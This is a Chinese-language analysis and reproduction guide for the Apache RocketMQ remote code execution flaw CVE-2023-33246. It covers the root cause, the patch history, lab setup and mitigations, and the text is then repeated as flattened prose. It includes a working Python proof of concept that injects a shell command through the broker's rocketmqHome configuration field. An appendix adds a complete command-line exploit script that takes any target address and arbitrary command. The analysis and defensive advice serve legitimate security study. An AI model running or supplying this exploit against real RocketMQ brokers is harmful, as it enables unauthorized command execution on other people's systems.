Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 分析
字数 1436 2025-08-24 16:48:07

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)深度分析与复现指南

漏洞概述

CVE-2023-33246是Apache RocketMQ中存在的一个高危远程代码执行漏洞,攻击者可以通过构造特定的请求,利用RocketMQ的配置更新功能实现任意命令执行。

漏洞关键点

  • 漏洞类型:远程代码执行(RCE)
  • 影响组件:RocketMQ的broker组件
  • 触发条件:未授权访问或低权限用户能够访问broker服务
  • 利用方式:通过update configuration功能注入恶意配置
  • 执行权限:系统用户权限

漏洞影响版本

该漏洞影响以下版本的Apache RocketMQ:

  • RocketMQ 5.x系列
  • 具体测试版本为5.1.0

漏洞原理分析

漏洞根源

漏洞源于两个关键问题:

  1. 权限验证缺失:update configuration功能缺乏足够的权限验证
  2. 命令注入点:FilterServer模块允许通过配置参数构造系统命令

技术细节

第一次补丁分析

第一次补丁尝试通过黑名单方式修复,禁止更新以下关键配置路径:

  • brokerConfigPath
  • configStorePath
  • kvConfigPath
  • configStorePathName

但这种修复方式并不彻底,未能完全解决命令执行问题。

第二次补丁分析

第二次补丁采取了更彻底的解决方案:

  • 完全移除了FilterServer模块
  • 删除了存在漏洞的核心代码

漏洞触发链

完整的漏洞利用链如下:

  1. 攻击者发送恶意配置更新请求
  2. DefaultRequestProcessor#updateConfig处理请求并更新配置
  3. 配置更新触发FilterServerManager#createFilterServer
  4. FilterServerManager#buildStartCommand构造命令字符串
  5. FilterServerUtil#callShell执行构造的命令

关键代码分析

// 命令构造关键代码
private String buildStartCommand() {
    String config = "";
    if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
        config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile());
    }
    if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
        config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
    }
    if (NetworkUtil.isWindowsPlatform()) {
        return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", 
            this.brokerController.getBrokerConfig().getRocketmqHome(), config);
    } else {
        return String.format("sh %s/bin/startfsrv.sh %s", 
            this.brokerController.getBrokerConfig().getRocketmqHome(), config);
    }
}

// 命令执行关键代码
public static void callShell(final String shellString, final Logger log) {
    Process process = null;
    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } catch (Throwable e) {
        log.error("CallShell: readLine IOException, {}", shellString, e);
    } finally {
        if (null != process) process.destroy();
    }
}

环境搭建与复现

环境准备

Docker环境搭建

  1. 拉取RocketMQ镜像:
docker pull apache/rocketmq:5.1.0
docker pull apacherocketmq/rocketmq-console:2.0.0
  1. 启动NameServer:
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv \
  -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:5.1.0 \
  sh mqnamesrv /bin/bash
  1. 启动Broker:
docker run -dit -p 10909:10909 -p 10911:10911 --name mqbroker \
  --restart=always --link mqsrv:namesrv \
  -e "NAMESRV_ADDR=namesrv:9876" \
  -e "MAX_POSSIBLE_HEAP=200000000" \
  apache/rocketmq:5.1.0 sh mqbroker -c /home/rocketmq/rocketmq-5.1.0/conf/broker.conf
  1. 启动控制台:
docker run -dit --name mqconsole -p 8080:8080 \
  -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" \
  apacherocketmq/rocketmq-console:2.0.0

二进制环境搭建

  1. 从官网下载对应版本的二进制包
  2. 启动NameServer:
/bin/bash mqnamesrv
  1. 启动Broker:
/bin/bash mqbroker -n 127.0.0.1:9876

漏洞复现

手动复现

使用Python脚本构造恶意请求:

import socket, binascii

client = socket.socket()
client.connect(('127.0.0.1', 10911))

json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body = 'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=/tmp;echo "vulnerable" > /tmp/rce_test;'.encode('utf-8')

json_lens = int(len(binascii.hexlify(json).decode('utf-8')) / 2)
part1 = '00000000' + str(hex(json_lens))[2:]
all_lens = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + json_lens)
part2 = '00000000' + str(hex(all_lens))[2:]

data = part2[-8:] + part1[-8:] + binascii.hexlify(json).decode('utf-8') + binascii.hexlify(body).decode('utf-8')
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

使用工具复现

可以使用公开的CVE-2023-33246漏洞利用工具进行复现。

流量分析与协议结构

RocketMQ协议传输过程中,数据包主要包含四个部分:

  1. 协议总长度:4字节,表示整个数据包的长度
  2. JSON数据长度:4字节,表示JSON部分的长度
  3. JSON数据:包含请求的元数据
  4. BODY数据:包含实际的配置数据

关键字段说明

在JSON数据中,code字段决定调用的功能:

// org.apache.rocketmq.remoting.protocol.RequestCode
public static final int UPDATE_BROKER_CONFIG = 25;  // 配置更新功能

防御措施

临时缓解方案

  1. 升级到已修复版本
  2. 网络隔离,限制对RocketMQ端口的访问
  3. 启用认证机制

长期解决方案

  1. 应用官方发布的补丁
  2. 定期进行安全审计
  3. 实施最小权限原则

参考链接

附录

完整利用脚本

#!/usr/bin/env python3
# CVE-2023-33246 RocketMQ RCE Exploit

import socket
import binascii
import argparse

def exploit(target, port, command):
    try:
        client = socket.socket()
        client.connect((target, port))
        
        # Construct malicious request
        json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
        body = f'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=/tmp;{command};'.encode('utf-8')
        
        # Calculate lengths
        json_lens = int(len(binascii.hexlify(json).decode('utf-8')) / 2)
        part1 = '00000000' + str(hex(json_lens))[2:]
        all_lens = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + json_lens)
        part2 = '00000000' + str(hex(all_lens))[2:]
        
        # Construct final payload
        data = part2[-8:] + part1[-8:] + binascii.hexlify(json).decode('utf-8') + binascii.hexlify(body).decode('utf-8')
        
        # Send payload
        client.send(bytes.fromhex(data))
        data_recv = client.recv(1024)
        print("[+] Response:", data_recv)
        
    except Exception as e:
        print("[-] Exploit failed:", str(e))
    finally:
        client.close()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2023-33246 RocketMQ RCE Exploit')
    parser.add_argument('-t', '--target', required=True, help='Target IP address')
    parser.add_argument('-p', '--port', type=int, default=10911, help='Target port (default: 10911)')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    
    args = parser.parse_args()
    exploit(args.target, args.port, args.command)

修复建议检查清单

  1. [ ] 升级到RocketMQ最新安全版本
  2. [ ] 检查并删除FilterServer模块
  3. [ ] 配置网络ACL限制访问
  4. [ ] 启用RocketMQ的ACL功能
  5. [ ] 监控可疑的配置更新请求
Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)深度分析与复现指南 漏洞概述 CVE-2023-33246是Apache RocketMQ中存在的一个高危远程代码执行漏洞,攻击者可以通过构造特定的请求,利用RocketMQ的配置更新功能实现任意命令执行。 漏洞关键点 漏洞类型 :远程代码执行(RCE) 影响组件 :RocketMQ的broker组件 触发条件 :未授权访问或低权限用户能够访问broker服务 利用方式 :通过update configuration功能注入恶意配置 执行权限 :系统用户权限 漏洞影响版本 该漏洞影响以下版本的Apache RocketMQ: RocketMQ 5.x系列 具体测试版本为5.1.0 漏洞原理分析 漏洞根源 漏洞源于两个关键问题: 权限验证缺失 :update configuration功能缺乏足够的权限验证 命令注入点 :FilterServer模块允许通过配置参数构造系统命令 技术细节 第一次补丁分析 第一次补丁尝试通过黑名单方式修复,禁止更新以下关键配置路径: brokerConfigPath configStorePath kvConfigPath configStorePathName 但这种修复方式并不彻底,未能完全解决命令执行问题。 第二次补丁分析 第二次补丁采取了更彻底的解决方案: 完全移除了FilterServer模块 删除了存在漏洞的核心代码 漏洞触发链 完整的漏洞利用链如下: 攻击者发送恶意配置更新请求 DefaultRequestProcessor#updateConfig 处理请求并更新配置 配置更新触发 FilterServerManager#createFilterServer FilterServerManager#buildStartCommand 构造命令字符串 FilterServerUtil#callShell 执行构造的命令 关键代码分析 环境搭建与复现 环境准备 Docker环境搭建 拉取RocketMQ镜像: 启动NameServer: 启动Broker: 启动控制台: 二进制环境搭建 从官网下载对应版本的二进制包 启动NameServer: 启动Broker: 漏洞复现 手动复现 使用Python脚本构造恶意请求: 使用工具复现 可以使用公开的CVE-2023-33246漏洞利用工具进行复现。 流量分析与协议结构 RocketMQ协议传输过程中,数据包主要包含四个部分: 协议总长度 :4字节,表示整个数据包的长度 JSON数据长度 :4字节,表示JSON部分的长度 JSON数据 :包含请求的元数据 BODY数据 :包含实际的配置数据 关键字段说明 在JSON数据中, code 字段决定调用的功能: 防御措施 临时缓解方案 升级到已修复版本 网络隔离,限制对RocketMQ端口的访问 启用认证机制 长期解决方案 应用官方发布的补丁 定期进行安全审计 实施最小权限原则 参考链接 Apache RocketMQ官方安全公告 CVE官方描述 漏洞分析原文 附录 完整利用脚本 修复建议检查清单 [ ] 升级到RocketMQ最新安全版本 [ ] 检查并删除FilterServer模块 [ ] 配置网络ACL限制访问 [ ] 启用RocketMQ的ACL功能 [ ] 监控可疑的配置更新请求